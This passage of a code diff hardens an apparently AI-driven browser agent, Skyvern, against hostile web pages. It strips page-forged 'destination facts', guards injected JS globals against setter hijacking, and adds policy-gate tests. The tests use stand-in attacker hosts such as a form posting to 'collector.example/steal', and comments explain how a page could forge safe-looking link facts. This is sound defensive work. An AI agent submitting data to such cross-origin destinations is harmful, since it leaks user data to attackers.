dict],must_included_tags: list[str] | None = None,) -> tuple[list[dict], list[dict]]:"""@@ -676,9 +681,10 @@ async def add_frame_interactable_elements(skyvern_frame = await SkyvernFrame.create_instance(frame)await _wait_for_scrape_ready(skyvern_frame)- frame_elements, frame_element_tree = await skyvern_frame.build_tree_from_body(+ frame_elements, frame_element_tree, frame_destinations = await skyvern_frame.build_tree_from_body(frame_name=skyvern_id, frame_index=frame_index, must_included_tags=must_included_tags)+ destinations.update(frame_destinations)for element in elements:if element["id"] == skyvern_id:@@ -696,15 +702,16 @@ async def get_interactable_element_tree(page: Page,scrape_exclude: ScrapeExcludeFunc | None = None,must_included_tags: list[str] | None = None,-) -> tuple[list[dict], list[dict]]:+) -> tuple[list[dict], list[dict], dict[str, dict]]:"""Get the element tree of the page, including all the elements that are interactable.:param page: Page instance to get the element tree from.- :return: Tuple containing the element tree and a map of element IDs to elements.+ :return: Tuple of the interactable elements, the element tree, and the per-element+ destination-facts sidecar stripped out of them at the SkyvernFrame boundary."""# main page index is 0skyvern_page = await SkyvernFrame.create_instance(page)- elements, element_tree = await skyvern_page.build_tree_from_body(+ elements, element_tree, destinations = await skyvern_page.build_tree_from_body(frame_name="main.frame", frame_index=0, must_included_tags=must_included_tags)@@ -728,6 +735,7 @@ async def get_interactable_element_tree(frame_index,elements,element_tree,+ destinations,must_included_tags,)@@ -736,7 +744,7 @@ async def get_interactable_element_tree(# element tree only — never ``elements`` — so they can never become a click target.element_tree.extend(placeholder_nodes)- return elements, element_tree+ return elements, element_tree, destinationsclass IncrementalScrapePage(ElementTreeBuilder):diff --git a/skyvern/webeye/utils/page.py b/skyvern/webeye/utils/page.pyindex e5188b4bd..dced0c5c7 100644--- a/skyvern/webeye/utils/page.py+++ b/skyvern/webeye/utils/page.py@@ -20,6 +20,7 @@ from playwright.async_api import ElementHandle, Frame, Locator, Pagefrom skyvern.constants import PAGE_CONTENT_TIMEOUT, SKYVERN_DIRfrom skyvern.exceptions import FailedToTakeScreenshot, ScreenshotTargetClosed, SkyvernPageAnalysisTimeout+from skyvern.forge.sdk.browser_action_preflight import policy_observation_enabled, record_observed_tabsfrom skyvern.forge.sdk.core import skyvern_contextfrom skyvern.forge.sdk.settings_manager import SettingsManagerfrom skyvern.forge.sdk.trace import apply_context_attrs, traced@@ -51,6 +52,9 @@ async def build_open_tabs_context(if working_page is None:return Nonepages = await browser_state.list_valid_pages()+ # Recorded before the single-tab early return: a SWITCH_TAB judged against a stale record from+ # an earlier multi-tab prompt is exactly the mismatch the record exists to surface.+ record_observed_tabs([p.url for p in pages])if len(pages) <= 1:return None# Fetch titles concurrently so a few slow tabs don't add N×timeout latency to every iteration.@@ -83,9 +87,37 @@ def _wrap_js_in_isolated_scope(script: str) -> str:# lexical binding with the same name. Scope the script in an IIFE and export via# property writes, which never collide; typeof guards drop names the column-0 regex# matched inside block comments.+ # Export via defineProperty, never a bare assignment. A page that installs a setter on one of+ # these globals BEFORE injection has `globalThis.x = x` hand it our genuine function+ # synchronously, letting it serve a wrapper from a getter and drive our own builder with+ # arguments we never passed (SKY-12875 M2: forcing destination capture on in disabled mode).+ # defineProperty redefines the slot instead of invoking a setter.names = sorted(set(_JS_TOP_LEVEL_DECL_RE.findall(script)))- exports = "\n".join(f'if (typeof {name} !== "undefined") globalThis.{name} = {name};' for name in names)- return f"(() => {{\n{script}\n{exports}\n}})();"+ exporter = """+const __skyvernExport = (name, value) => {+ const existing = Object.getOwnPropertyDescriptor(globalThis, name);+ if (existing && !existing.configurable) {+ // A page's own top-level `var element = ...` makes a non-configurable WRITABLE data property,+ // and several exported names are ordinary words — so this case is ordinary pages, not attack,+ // and a plain write is correct there (a data property has no setter to invoke). A locked+ // ACCESSOR is the interposition this export exists to refuse, and a locked read-only slot+ // would silently leave the page's value in place; both fail loudly instead.+ if (existing.get || existing.set || !existing.writable) {+ throw new Error("skyvern: refusing to export over locked global " + name);+ }+ globalThis[name] = value;+ return;+ }+ Object.defineProperty(globalThis, name, {+ value,+ writable: true,+ enumerable: true,+ configurable: true,+ });+};+"""+ exports = "\n".join(f'if (typeof {name} !== "undefined") __skyvernExport("{name}", {name});' for name in names)+ return f"(() => {{\n{script}\n{exporter}\n{exports}\n}})();"def load_js_script() -> str:@@ -523,6 +555,54 @@ def _all_page_frames(page: Page) -> list[Frame]:return frames+def pop_destination_facts(nodes: object) -> dict[str, dict]:+ """Strip SKY-12875 destination facts out of scraper payloads, in place, at the JS->Python+ boundary. Every downstream consumer — element hashes and cached-action matching, persisted+ skyvern_element_data (DB rows and the public SDK Action type), the element-tree artifact,+ prompt building, incremental dropdown dedup — then sees dicts byte-identical to a build that+ never captured facts.++ Only a MAPPING-valued ``destination`` is ours. ``<div destination="shipping">`` is ordinary+ markup on ordinary sites, and every attribute is collected verbatim into ``attributes``, so a+ key-name-only match deleted page content — changing hashes, cached matching, prompts and+ persisted rows on pages that have nothing to do with this feature, and in disabled mode it+ also let the page seed the sidecar with an arbitrary id. DOM attribute values are always+ strings, so the page cannot forge the mapping shape through that channel; our facts are always+ mappings.++ The walk is DEEP: every nested dict and list at any depth is visited, because a hostile+ wrapper around the page-global builder can relocate a fact into a nested position (an+ attribute value, a grandchild) where a children-only walk would miss it. A wrapper that+ RENAMES the key is fabricating arbitrary payload content, which was possible before facts+ existed and is out of this strip's scope. The strip itself stays unconditional in both policy+ modes — it is protection against wrapper INJECTION, not capture cost — while capture is+ flag-gated so disabled mode does no fact work. The sidecar is keyed by element id and is+ consumed only by the observation epoch; the payload is page-controlled, so any shape is+ tolerated and cycles (reconstructable via Playwright's ref protocol) terminate via the+ seen-set instead of hanging the worker.+ """+ facts: dict[str, dict] = {}+ stack = list(nodes) if isinstance(nodes, list) else []+ seen: set[int] = set()+ while stack:+ node = stack.pop()+ if id(node) in seen:+ continue+ seen.add(id(node))+ if isinstance(node, list):+ stack.extend(node)+ continue+ if not isinstance(node, dict):+ continue+ if isinstance(node.get("destination"), dict):+ destination = node.pop("destination")+ element_id = node.get("id")+ if isinstance(element_id, str) and element_id:+ facts[element_id] = destination+ stack.extend(node.values())+ return facts++class SkyvernFrame:@staticmethodasync def evaluate(@@ -619,33 +699,37 @@ class SkyvernFrame:settle_ms = min(_NAVIGATION_SETTLE_TIMEOUT_MS, _remaining_seconds() * 1000)await _wait_for_navigation_settle(frame, timeout_ms=settle_ms)- inject_budget = min(per_attempt_seconds, _remaining_seconds())- if inject_budget <= 0:- LOG.error(- "Skyvern timed out trying to analyze the page after navigation recovery",- expression=expression,- )- raise SkyvernPageAnalysisTimeout("Skyvern timed out trying to analyze the page")- try:- async with asyncio.timeout(inject_budget):- # Same dispatch helper so a prefixed Page re-injects- # JS_FUNCTION_DEFS via Runtime.evaluate (preserving the marker).- await _dispatch_evaluate(frame, JS_FUNCTION_DEFS, None)- except asyncio.TimeoutError as error:- LOG.exception(- "Skyvern timed out trying to analyze the page during domUtils.js re-injection",- expression=expression,- )- raise SkyvernPageAnalysisTimeout("Skyvern timed out trying to analyze the page") from error- except (PlaywrightError, RuntimeError) as inject_err:- last_error_msg = str(inject_err)- if attempt == _NAVIGATION_RECOVERY_MAX_ATTEMPTS or not _is_navigation_context_lost(last_error_msg):- LOG.warning(- "Re-injection of domUtils.js also failed, page may still be navigating",- attempts=attempt,+ # The bootstrap call already IS the domUtils.js injection, so the retry below+ # re-injects it anyway; a separate injection pass would spend a second attempt+ # budget on identical work and halve the attempts that fit in the deadline.+ if expression != JS_FUNCTION_DEFS:+ inject_budget = min(per_attempt_seconds, _remaining_seconds())+ if inject_budget <= 0:+ LOG.error(+ "Skyvern timed out trying to analyze the page after navigation recovery",+ expression=expression,)- raise- continue+ raise SkyvernPageAnalysisTimeout("Skyvern timed out trying to analyze the page")+ try:+ async with asyncio.timeout(inject_budget):+ # Same dispatch helper so a prefixed Page re-injects+ # JS_FUNCTION_DEFS via Runtime.evaluate (preserving the marker).+ await _dispatch_evaluate(frame, JS_FUNCTION_DEFS, None)+ except asyncio.TimeoutError as error:+ LOG.exception(+ "Skyvern timed out trying to analyze the page during domUtils.js re-injection",+ expression=expression,+ )+ raise SkyvernPageAnalysisTimeout("Skyvern timed out trying to analyze the page") from error+ except (PlaywrightError, RuntimeError) as inject_err:+ last_error_msg = str(inject_err)+ if attempt == _NAVIGATION_RECOVERY_MAX_ATTEMPTS or not _is_navigation_context_lost(last_error_msg):+ LOG.warning(+ "Re-injection of domUtils.js also failed, page may still be navigating",+ attempts=attempt,+ )+ raise+ continueretry_budget = min(per_attempt_seconds, _remaining_seconds())if retry_budget <= 0:@@ -1008,7 +1092,9 @@ class SkyvernFrame:async def parse_element_from_html(self, frame: str, element: ElementHandle, interactable: bool) -> dict:js_script = "async ([frame, element, interactable]) => await buildElementObject(frame, element, interactable)"- return await self.evaluate(frame=self.frame, expression=js_script, arg=[frame, element, interactable])+ parsed = await self.evaluate(frame=self.frame, expression=js_script, arg=[frame, element, interactable])+ pop_destination_facts([parsed])+ return parsedasync def get_element_scrollable(self, element: ElementHandle) -> bool:js_script = "(element) => isScrollable(element)"@@ -1184,16 +1270,25 @@ class SkyvernFrame:frame_index: int,must_included_tags: list[str] | None = None,timeout_ms: float = SettingsManager.get_settings().BROWSER_SCRAPING_BUILDING_ELEMENT_TREE_TIMEOUT_MS,- ) -> tuple[list[dict], list[dict]]:+ ) -> tuple[list[dict], list[dict], dict[str, dict]]:must_included_tags = must_included_tags or []await self._set_enriched_element_tree_flag()- js_script = "async ([frame_name, frame_index, must_included_tags]) => await buildTreeFromBody(frame_name, frame_index, must_included_tags)"- return await self.evaluate(+ # Capture is flag-gated so a disabled-mode build does no destination-fact work on any page+ # that has not interposed on the builder global; a page that has can still force the flag,+ # and the per-build budget in domUtils is what bounds that. The strip below stays+ # unconditional: it is protection against a hostile wrapper injecting the key, not capture+ # cost.+ capture_destination_facts = policy_observation_enabled()+ js_script = "async ([frame_name, frame_index, must_included_tags, capture_destination_facts]) => await buildTreeFromBody(frame_name, frame_index, must_included_tags, capture_destination_facts)"+ elements, element_tree = await self.evaluate(frame=self.frame,expression=js_script,timeout_ms=timeout_ms,- arg=[frame_name, frame_index, must_included_tags],+ arg=[frame_name, frame_index, must_included_tags, capture_destination_facts],)+ destinations = pop_destination_facts(elements)+ destinations.update(pop_destination_facts(element_tree))+ return elements, element_tree, destinations@traced(name="skyvern.browser.incremental_element_tree")async def get_incremental_element_tree(@@ -1203,9 +1298,12 @@ class SkyvernFrame:) -> tuple[list[dict], list[dict]]:await self._set_enriched_element_tree_flag()js_script = "async ([wait_until_finished]) => await getIncrementElements(wait_until_finished)"- return await self.evaluate(+ elements, element_tree = await self.evaluate(frame=self.frame, expression=js_script, timeout_ms=timeout_ms, arg=[wait_until_finished])+ pop_destination_facts(elements)+ pop_destination_facts(element_tree)+ return elements, element_tree@traced(name="skyvern.browser.element_tree_from_element")async def build_tree_from_element(@@ -1217,9 +1315,12 @@ class SkyvernFrame:) -> tuple[list[dict], list[dict]]:await self._set_enriched_element_tree_flag()js_script = "async ([starter, frame, full_tree]) => await buildElementTree(starter, frame, full_tree)"- return await self.evaluate(+ elements, element_tree = await self.evaluate(frame=self.frame, expression=js_script, timeout_ms=timeout_ms, arg=[starter, frame, full_tree])+ pop_destination_facts(elements)+ pop_destination_facts(element_tree)+ return elements, element_tree@traced(name="skyvern.browser.wait_for_animation")async def safe_wait_for_animation_end(diff --git a/tests/unit/forge/sdk/db/test_repositories.py b/tests/unit/forge/sdk/db/test_repositories.pyindex 124087469..3ef023b5f 100644--- a/tests/unit/forge/sdk/db/test_repositories.py+++ b/tests/unit/forge/sdk/db/test_repositories.py@@ -1,6 +1,7 @@"""Tests for all OSS repository instantiations + dependency injection."""import inspect+from datetime import datetime, timezonefrom types import SimpleNamespacefrom unittest.mock import MagicMock, patch@@ -81,6 +82,49 @@ async def test_otp_repository_can_include_unscoped_workflow_run_rows_in_sql():assert " OR " in sql+async def test_otp_repository_stores_blank_run_scoping_ids_as_null():+ from skyvern.forge.sdk.db.repositories.otp import OTPRepository+ from skyvern.forge.sdk.schemas.totp_codes import OTPType++ class CapturingWriteSession:+ added = None++ async def __aenter__(self):+ return self++ async def __aexit__(self, *_args):+ return False++ def add(self, obj):+ self.added = obj++ async def commit(self):+ return None++ async def refresh(self, obj):+ obj.totp_code_id = "otp_test"+ obj.created_at = obj.modified_at = datetime(2026, 1, 1, tzinfo=timezone.utc)++ session = CapturingWriteSession()+ repo = OTPRepository(session_factory=lambda: session, debug_enabled=False)++ await repo.create_otp_code(+ organization_id="o_test",+ totp_identifier="[email protected]",+ content="123456",+ code="123456",+ otp_type=OTPType.TOTP,+ task_id="",+ workflow_id="",+ workflow_run_id="",+ )++ assert session.added.workflow_run_id is None+ assert session.added.workflow_id is None+ assert session.added.task_id is None++def test_debug_repository_instantiation():from skyvern.forge.sdk.db.repositories.debug import DebugRepositorydiff --git a/tests/unit/test_browser_action_policy.py b/tests/unit/test_browser_action_policy.pyindex 88b2971f6..a12bd20d5 100644--- a/tests/unit/test_browser_action_policy.py+++ b/tests/unit/test_browser_action_policy.py@@ -17,20 +17,26 @@ from skyvern.forge.sdk.browser_action_policy import (BrowserActionPolicy,BrowserActionRequest,BrowserOrigin,+ ElementDestination,ObservationVerdict,+ ObservedElement,PageObservation,PolicyDecision,PolicyOutcome,PolicyReason,ProtectedReference,ProtectedReferenceKind,+ ResolvedTarget,RuntimeOriginAuthority,+ TargetKind,canonicalize_origin,classify_action_type,coerce_verdict,decide_browser_action,declare_origin,declare_policy,+ hydrate_destination,+ with_resolved_target,)from skyvern.webeye.actions.action_types import ActionTypefrom skyvern.webeye.actions.actions import (@@ -73,6 +79,11 @@ EPOCH = 7# The runtime authority the existing gates are exercised against: established, and wide enough that# it never narrows the ceiling. Tests about authority itself pass their own.FULL_AUTHORITY = RuntimeOriginAuthority(state=AuthorityState.ESTABLISHED, origins=POLICY.allowed_origins)+# Scrape-time destination facts for the element the standard test click lands on: a same-origin+# anchor. Facts ATTACH a target but never establish completeness — a main-world-sourced fact must+# never be able to produce ALLOWED — so a hydrated mutating action still reads INCOMPLETE.+ANCHOR_HOME = ElementDestination(kind=TargetKind.ANCHOR, url=HOME)+OBSERVED_HASH = "eh-observed"# Every concrete action model at its minimum valid construction, keyed by discriminator.CONCRETE_ACTIONS: dict[ActionType, Action] = {@@ -118,6 +129,7 @@ def build_request(evidence: PageObservation | None = None,omit_evidence: bool = False,authority: RuntimeOriginAuthority = FULL_AUTHORITY,+ destination: ElementDestination | None = None,) -> BrowserActionRequest:if not omit_evidence and evidence is None:evidence = PageObservation(@@ -125,9 +137,16 @@ def build_request(observation_epoch=EPOCH if evidence_epoch is None else evidence_epoch,verdict=verdict,)+ projection = project_for(action)+ if destination is not None:+ projection = hydrate_destination(+ projection,+ claimed_element_hash=None,+ observed=ObservedElement(element_hash=OBSERVED_HASH, destination=destination),+ )return BrowserActionRequest(policy=policy,- projection=project_for(action),+ projection=projection,authority=authority,evidence=None if omit_evidence else evidence,request_epoch=request_epoch,@@ -390,13 +409,14 @@ class TestClassificationCoverage:assert project_action(ClickAction(element_id="1")) == project_action(ClickAction(element_id="2"))- def test_navigation_targets_are_extracted(self) -> None:- assert project_for(GotoUrlAction(url=HOME)).target.urls == (HOME,)- assert project_for(NewTabAction(url=HOME)).target.urls == (HOME,)- assert project_for(DownloadFileAction(file_name="f", download_url=HOME)).target.urls == (HOME,)- assert project_for(ClickAction(element_id="1")).target.urls == ()- assert project_for(UploadFileAction(element_id="1", file_url=HOME)).target.urls == (HOME,)- assert project_for(ClickAction(element_id="1", file_url=HOME)).target.urls == (HOME,)+ def test_navigation_targets_are_typed_page_targets(self) -> None:+ page_home = ResolvedTarget(kind=TargetKind.PAGE, url=HOME)+ assert project_for(GotoUrlAction(url=HOME)).target.resolved == (page_home,)+ assert project_for(NewTabAction(url=HOME)).target.resolved == (page_home,)+ assert project_for(DownloadFileAction(file_name="f", download_url=HOME)).target.resolved == (page_home,)+ assert project_for(ClickAction(element_id="1")).target.resolved == ()+ assert project_for(UploadFileAction(element_id="1", file_url=HOME)).target.resolved == (page_home,)+ assert project_for(ClickAction(element_id="1", file_url=HOME)).target.resolved == (page_home,)def test_fetchable_file_urls_are_origin_checked(self) -> None:decision = decide_browser_action(@@ -428,7 +448,7 @@ class TestUnclassifiableProjections:projection = ActionProjection(action_type=ActionType.GOTO_URL,action_class=None,- target=ActionTarget(urls=("https://totally-evil.example/",)),+ target=ActionTarget(resolved=(ResolvedTarget(kind=TargetKind.PAGE, url="https://totally-evil.example/"),)),)decision = decide_browser_action(BrowserActionRequest(@@ -564,12 +584,30 @@ class TestProtectedReferences:assert decision.outcome is PolicyOutcome.DENIEDassert PolicyReason.UNOWNED_PROTECTED_REFERENCE in decision.reasons- def test_complete_owned_reference_allows(self) -> None:+ def test_complete_owned_reference_opens_the_reference_gate(self) -> None:+ # No mutating element action can reach ALLOWED any more — main-world facts never establish+ # completeness — so the twin is restated as exact reasons: with the reference satisfied,+ # the ONLY remaining denial is the incomplete destination. Reference reasons absent proves+ # the gate opened.+ form_home = ElementDestination(kind=TargetKind.FORM, url=HOME, method="post")+ decision = decide_browser_action(+ build_request(+ InputTextAction(element_id="1", text="x", totp_code_required=True),+ protected_references=(secret_ref(),),+ destination=form_home,+ )+ )+ assert decision.outcome is PolicyOutcome.DENIED+ assert decision.reasons == (PolicyReason.INCOMPLETE_DESTINATION,)++ def test_verification_code_entry_is_destination_opaque(self) -> None:+ # Element-less mutating actions name no control, so no destination fact can ever complete+ # them. The reference being satisfied does not make the destination known.decision = decide_browser_action(build_request(VerificationCodeAction(verification_code="1"), protected_references=(code_ref(),)))- assert decision.outcome is PolicyOutcome.ALLOWED- assert decision.reasons == ()+ assert decision.outcome is PolicyOutcome.DENIED+ assert decision.reasons == (PolicyReason.INCOMPLETE_DESTINATION,)class TestOriginAuthorization:@@ -610,21 +648,25 @@ class TestRuntimeAuthority:anyway on UNVERIFIED_OBSERVATION and the assertions would hold against any implementation."""+ # GOTO_URL is the axis-isolation vehicle here: its target is model-declared (genuinely known,+ # so it completes) — a hydrated click can no longer reach ALLOWED at all, which would make+ # every deny below prove nothing about the authority gate.+def test_unwired_authority_denies_an_action_inside_the_ceiling(self) -> None:- decision = decide_browser_action(build_request(ClickAction(element_id="1"), authority=UNWIRED_AUTHORITY))+ decision = decide_browser_action(build_request(GotoUrlAction(url=HOME), authority=UNWIRED_AUTHORITY))assert decision.outcome is PolicyOutcome.DENIEDassert decision.reasons == (PolicyReason.UNWIRED_RUNTIME_AUTHORITY,)def test_established_authority_over_the_same_origin_allows(self) -> None:# The twin of the test above. If this one fails, the deny above proves nothing: it would be# denying for some reason other than the authority gate.- decision = decide_browser_action(build_request(ClickAction(element_id="1"), authority=FULL_AUTHORITY))+ decision = decide_browser_action(build_request(GotoUrlAction(url=HOME), authority=FULL_AUTHORITY))assert decision.outcome is PolicyOutcome.ALLOWEDassert decision.reasons == ()def test_missing_authority_denies(self) -> None:authority = RuntimeOriginAuthority(state=AuthorityState.MISSING, origins=POLICY.allowed_origins)- decision = decide_browser_action(build_request(ClickAction(element_id="1"), authority=authority))+ decision = decide_browser_action(build_request(GotoUrlAction(url=HOME), authority=authority))assert decision.outcome is PolicyOutcome.DENIEDassert decision.reasons == (PolicyReason.MISSING_RUNTIME_AUTHORITY,)@@ -632,7 +674,7 @@ class TestRuntimeAuthority:# ADR-0011: rotation or conflict after a browser context is bound is permanent, and the# origins it used to carry do not buy it back.authority = RuntimeOriginAuthority(state=AuthorityState.INVALIDATED, origins=POLICY.allowed_origins)- decision = decide_browser_action(build_request(ClickAction(element_id="1"), authority=authority))+ decision = decide_browser_action(build_request(GotoUrlAction(url=HOME), authority=authority))assert decision.outcome is PolicyOutcome.DENIEDassert decision.reasons == (PolicyReason.INVALIDATED_RUNTIME_AUTHORITY,)@@ -641,7 +683,8 @@ class TestRuntimeAuthority:wide = declare_policy(owner_id=OWNER, origin_urls=[HOME, other])narrow = RuntimeOriginAuthority(state=AuthorityState.ESTABLISHED, origins=frozenset({declare_origin(other)}))decision = decide_browser_action(- build_request(ClickAction(element_id="1"), policy=wide, page_url=HOME, authority=narrow)+ # The target points inside the granted set, so the page origin is the only reason.+ build_request(GotoUrlAction(url=other), policy=wide, page_url=HOME, authority=narrow))assert decision.outcome is PolicyOutcome.DENIEDassert decision.reasons == (PolicyReason.PAGE_ORIGIN_NOT_AUTHORIZED,)@@ -652,9 +695,7 @@ class TestRuntimeAuthority:state=AuthorityState.ESTABLISHED,origins=frozenset({HOME_ORIGIN, declare_origin(outside)}),)- decision = decide_browser_action(- build_request(ClickAction(element_id="1"), page_url=outside, authority=authority)- )+ decision = decide_browser_action(build_request(GotoUrlAction(url=HOME), page_url=outside, authority=authority))assert decision.outcome is PolicyOutcome.DENIEDassert decision.reasons == (PolicyReason.PAGE_ORIGIN_NOT_AUTHORIZED,)@@ -782,7 +823,12 @@ class TestReasonPrecedence:projection = ActionProjection(action_type=ActionType.GOTO_URL,action_class=ActionClass.NAVIGATION,- target=ActionTarget(urls=("https://evil.example/a", "https://evil.example/b")),+ target=ActionTarget(+ resolved=(+ ResolvedTarget(kind=TargetKind.PAGE, url="https://evil.example/a"),+ ResolvedTarget(kind=TargetKind.PAGE, url="https://evil.example/b"),+ )+ ),)decision = decide_browser_action(BrowserActionRequest(@@ -801,6 +847,8 @@ class TestReasonPrecedence:"unknown_action","action_model_mismatch","unresolvable_target",+ "incomplete_destination",+ "element_hash_mismatch","missing_page_evidence","stale_page_evidence","missing_protected_reference",@@ -818,9 +866,277 @@ class TestReasonPrecedence:}-class TestHappyPath:- def test_clean_authorized_mutating_action_allows(self) -> None:+class TestDestinationCompleteness:+ """SKY-12875 AC6: a destination-opaque control is INCOMPLETE, never implicitly safe. The+ completeness default at projection time is therefore False for every mutating action — an+ unhydrated projection must read as unknown-destination, not as no-destination-to-check."""++ def test_element_targeted_mutating_actions_start_incomplete(self) -> None:+ for action in (+ ClickAction(element_id="1"),+ InputTextAction(element_id="1", text="x"),+ SelectOptionAction(element_id="1", option=SelectOption(label="a")),+ CheckboxAction(element_id="1", is_checked=True),+ UploadFileAction(element_id="1", file_url=HOME),+ ):+ assert project_for(action).target.complete is False, action.action_type++ def test_element_less_mutating_actions_are_permanently_incomplete(self) -> None:+ # No control named means no destination fact can ever complete them: KEYPRESS can submit a+ # form, SOLVE_CAPTCHA and VERIFICATION_CODE type into elements the projection cannot see.+ for action in (+ KeypressAction(keys=["Enter"]),+ SolveCaptchaAction(),+ VerificationCodeAction(verification_code="1"),+ ):+ assert project_for(action).target.complete is False, action.action_type++ def test_navigation_with_an_explicit_url_is_complete(self) -> None:+ assert project_for(GotoUrlAction(url=HOME)).target.complete is True+ assert project_for(NewTabAction(url=HOME)).target.complete is True++ def test_reload_targets_the_current_page_and_is_complete(self) -> None:+ # The destination is exactly the page origin, which the page-origin gate already checks.+ assert project_for(ReloadPageAction()).target.complete is True++ def test_go_forward_is_incomplete(self) -> None:+ # The history destination is unknowable before execution.+ assert project_for(GoForwardAction()).target.complete is False++ def test_byte_carrying_download_is_incomplete(self) -> None:+ # SKY-12874 called confining a byte download the sink's job; under the opaque-never-safe+ # rule the honest preflight classification is incomplete. With a URL it is a PAGE target.+ assert project_for(DownloadFileAction(file_name="f")).target.complete is False+ assert project_for(DownloadFileAction(file_name="f", download_url=HOME)).target.complete is True++ def test_recovery_classes_are_not_destination_gated(self) -> None:+ for action in (WaitAction(), ScrollAction(), GoBackAction(), ExtractAction(), TerminateAction()):+ assert project_for(action).target.complete is True, action.action_type++ def test_incomplete_destination_denies_gated_classes_only(self) -> None:decision = decide_browser_action(build_request(ClickAction(element_id="1")))+ assert decision.outcome is PolicyOutcome.DENIED+ assert PolicyReason.INCOMPLETE_DESTINATION in decision.reasons++ benign = ActionProjection(+ action_type=ActionType.WAIT,+ action_class=ActionClass.BENIGN,+ target=ActionTarget(complete=False),+ )+ decision = decide_browser_action(+ BrowserActionRequest(+ policy=POLICY,+ projection=benign,+ authority=FULL_AUTHORITY,+ request_epoch=EPOCH,+ evidence=PageObservation(page_url=HOME, observation_epoch=EPOCH, verdict=ObservationVerdict.NO_MATCH),+ )+ )+ assert PolicyReason.INCOMPLETE_DESTINATION not in decision.reasons++ def test_go_forward_reports_incomplete_destination(self) -> None:+ decision = decide_browser_action(build_request(GoForwardAction()))+ assert decision.outcome is PolicyOutcome.DENIED+ assert PolicyReason.INCOMPLETE_DESTINATION in decision.reasons+++class TestDestinationHydration:+ """SKY-12875: scrape-time DOM facts become typed resolved targets. The facts are stale,+ untrusted preflight input — they can complete a destination or flag an identity mismatch, and+ they can never substitute for evidence, verdict or authority."""++ def test_anchor_facts_resolve_a_typed_anchor_target_without_completing(self) -> None:+ projection = hydrate_destination(+ project_for(ClickAction(element_id="1")),+ claimed_element_hash=None,+ observed=ObservedElement(element_hash=OBSERVED_HASH, destination=ANCHOR_HOME),+ )+ assert projection.target.resolved == (ResolvedTarget(kind=TargetKind.ANCHOR, url=HOME),)+ # A main-world-sourced fact never establishes completeness: it names where the page CLAIMS+ # the click goes, not where native activation goes.+ assert projection.target.complete is False+ assert projection.defects == ()++ def test_form_facts_resolve_a_typed_form_target_without_completing(self) -> None:+ form = ElementDestination(kind=TargetKind.FORM, url="https://example.com/submit", method="post")+ projection = hydrate_destination(+ project_for(InputTextAction(element_id="1", text="x")),+ claimed_element_hash=None,+ observed=ObservedElement(element_hash=OBSERVED_HASH, destination=form),+ )+ assert projection.target.resolved == (+ ResolvedTarget(kind=TargetKind.FORM, url="https://example.com/submit", method="post"),+ )+ assert projection.target.complete is False++ def test_hydration_appends_to_model_derived_targets(self) -> None:+ # A click that fetches a file AND sits on an anchor carries both destinations.+ projection = hydrate_destination(+ project_for(ClickAction(element_id="1", file_url=HOME)),+ claimed_element_hash=None,+ observed=ObservedElement(element_hash=OBSERVED_HASH, destination=ANCHOR_HOME),+ )+ assert ResolvedTarget(kind=TargetKind.PAGE, url=HOME) in projection.target.resolved+ assert ResolvedTarget(kind=TargetKind.ANCHOR, url=HOME) in projection.target.resolved++ def test_an_unobserved_element_stays_incomplete(self) -> None:+ projection = hydrate_destination(+ project_for(ClickAction(element_id="1")),+ claimed_element_hash=None,+ observed=None,+ )+ assert projection.target.complete is False+ assert projection.target.resolved == ()++ def test_an_opaque_destination_stays_incomplete(self) -> None:+ # The element was observed and bears no destination-carrying structure: a plain button, a+ # div with a JS handler. Observed does not mean safe.+ for destination in (None, ElementDestination(kind=TargetKind.ANCHOR, url=None)):+ projection = hydrate_destination(+ project_for(ClickAction(element_id="1")),+ claimed_element_hash=None,+ observed=ObservedElement(element_hash=OBSERVED_HASH, destination=destination),+ )+ assert projection.target.complete is False+ assert projection.target.resolved == ()++ def test_a_hash_mismatch_is_a_defect_and_discards_the_facts(self) -> None:+ # The action claims one element identity, the observation recorded another. The facts keyed+ # by that id describe an element the action was not planned against.+ projection = hydrate_destination(+ project_for(ClickAction(element_id="1")),+ claimed_element_hash="stale-hash-from-a-previous-run",+ observed=ObservedElement(element_hash=OBSERVED_HASH, destination=ANCHOR_HOME),+ )+ assert PolicyReason.ELEMENT_HASH_MISMATCH in projection.defects+ assert projection.target.complete is False+ assert projection.target.resolved == ()++ decision = decide_browser_action(+ BrowserActionRequest(+ policy=POLICY,+ projection=projection,+ authority=FULL_AUTHORITY,+ request_epoch=EPOCH,+ evidence=PageObservation(page_url=HOME, observation_epoch=EPOCH, verdict=ObservationVerdict.NO_MATCH),+ )+ )+ assert decision.outcome is PolicyOutcome.DENIED+ assert PolicyReason.ELEMENT_HASH_MISMATCH in decision.reasons++ def test_a_matching_claimed_hash_hydrates(self) -> None:+ projection = hydrate_destination(+ project_for(ClickAction(element_id="1")),+ claimed_element_hash=OBSERVED_HASH,+ observed=ObservedElement(element_hash=OBSERVED_HASH, destination=ANCHOR_HOME),+ )+ assert projection.defects == ()+ assert projection.target.resolved != ()++ def test_a_defective_projection_is_never_hydrated(self) -> None:+ # The element_id that keyed the lookup came from a model whose field layout cannot be+ # trusted, so the facts it found must not be attached.+ mismatched = ClickAction(element_id="1", action_type=ActionType.GOTO_URL)+ projection = hydrate_destination(+ project_for(mismatched),+ claimed_element_hash=None,+ observed=ObservedElement(element_hash=OBSERVED_HASH, destination=ANCHOR_HOME),+ )+ assert projection.target.resolved == ()+ assert PolicyReason.ACTION_MODEL_MISMATCH in projection.defects++ def test_a_cross_origin_form_is_denied_on_its_target_origin(self) -> None:+ exfil = ElementDestination(kind=TargetKind.FORM, url="https://collector.example/steal", method="post")+ decision = decide_browser_action(build_request(InputTextAction(element_id="1", text="x"), destination=exfil))+ assert decision.outcome is PolicyOutcome.DENIED+ assert PolicyReason.TARGET_ORIGIN_NOT_AUTHORIZED in decision.reasons++ def test_a_same_origin_form_passes_the_target_gate_but_never_allows(self) -> None:+ form = ElementDestination(kind=TargetKind.FORM, url=HOME, method="post")+ decision = decide_browser_action(build_request(InputTextAction(element_id="1", text="x"), destination=form))+ assert PolicyReason.TARGET_ORIGIN_NOT_AUTHORIZED not in decision.reasons+ assert decision.outcome is PolicyOutcome.DENIED+ assert PolicyReason.INCOMPLETE_DESTINATION in decision.reasons++ def test_a_forged_safe_fact_can_never_produce_allowed(self) -> None:+ # The gate falsification, kept as a test: a page that hides ping= from a patched main-world+ # getAttribute yields a perfectly safe-looking fact. With established authority, a clean+ # verdict and fresh evidence, the decision must still be DENIED — a main-world-sourced+ # fact must never be what establishes completeness.+ decision = decide_browser_action(+ build_request(+ ClickAction(element_id="1"),+ destination=ANCHOR_HOME,+ authority=FULL_AUTHORITY,+ verdict=ObservationVerdict.NO_MATCH,+ )+ )+ assert decision.outcome 